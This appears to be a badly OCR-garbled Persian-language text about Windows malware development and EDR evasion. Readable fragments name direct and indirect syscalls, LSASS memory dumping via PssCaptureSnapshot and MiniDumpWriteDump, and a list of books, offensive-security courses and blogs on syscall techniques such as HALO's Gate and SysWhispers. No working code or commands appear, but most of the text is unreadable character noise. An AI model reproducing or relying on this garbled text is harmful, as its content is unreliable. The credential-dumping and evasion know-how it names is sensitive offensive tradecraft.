S (g9, Ntdlldll 5l text jisw usls, 5560 L APE 6 A8 US 23, e

(Indirect Syscalls g Direct) gl puiives puf § puiins sl Glg>1)3 @
PssCaptureSnapshot 5 MiniDumpWriteDump ;I osliiwl b LSASS aladl> &l el o

A_JLM 2 (lles LQ)L.:M 3 g A oo )Lu....: O o> LQ_’,’ ".:;A‘ J).) Lg‘); uLCyayo U‘J‘

9 G530 Dlrpogs CfCH e oS L SuSS jo il 0 )l5 cls (6l Il 155,90 5 ,l5810

ol oy @) Slolis glals ol s

ool ) esliiul g Cunl su 4L STsl 4 jlxe 5 (Bigel kel Buios slp Bro Ll ol
e jlome Sy 5536 ladaze 3l 7)1 lacSsS

LQULS

e  Windows Kernel Programming — Pavel Yosifovich
e Windows Internals — (a0 uii‘)-.’.ﬁ &Y 5} Cwed) Mark Russinovich, David Solomon,

Alex lonescu
e  Programming the Microsoft Windows Driver Model — Walter Oney

olligle;l ¢ Lo yi3aa!
e AlteredSecurity
e CyberWarFarelabs 05,95 ¢l 3810y drsgd «Simous 8, 142 1ieny) EDR(

e Sektor ;| 1,8 (058l aswgi Jgol) YAV/EDR(

e OffensiveSecurity (OSED ¢<OSCEY)

e MaldevAcademy@ -Lmﬁ) mrd* x(
e Hack The Box

ol 6,188 )L syscall 51,18 Joe Kiens 5, — Cocomelonc Blog
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e iRed.Team ghaw jl 1,3 zsgi — syscall HALO's Gate (¢,1a8US AP

e KlezVirus Blog — FreshyCalls ¢<SysWhispers s« LSJ‘K)L.‘ CASISS (Y
e Outflank Security Blog U3 28, — EDR ox8lg 033,98 § (5 (sloSaSS «

e MalwareTech Blog .Sbhacw 5l )18 sl g, g jaaing aslocyg,o —
e Alice Climent's Research ;453,90 g olwlil sl ysg, — syscall

e RedOps Blog (sjlwosly <l g puplas — syscall

bl ol
3Skae | oo S0 aSh (25 Ojlge oS & aials I3y Slanind g je o Daiae) s collad
ot (i yod 5 poios (518 I35 Bl b el 2180 sl Tl 5 pe Jle (slapincm

13lg3 oo EDR I 13 g aladl> clblas

S gl |y 4 iy slassags
WS (b G bt els g lull slagsil il

o 425 5 2103 SN (pugSae qwiigee sk I 955 alel g (39lS &S 0 o Ao Lo
Ao dalol oads ]S g Aol slalasre o

Sed o0 3L 2l 5 308 Slaes o b S o 0l i 4z e
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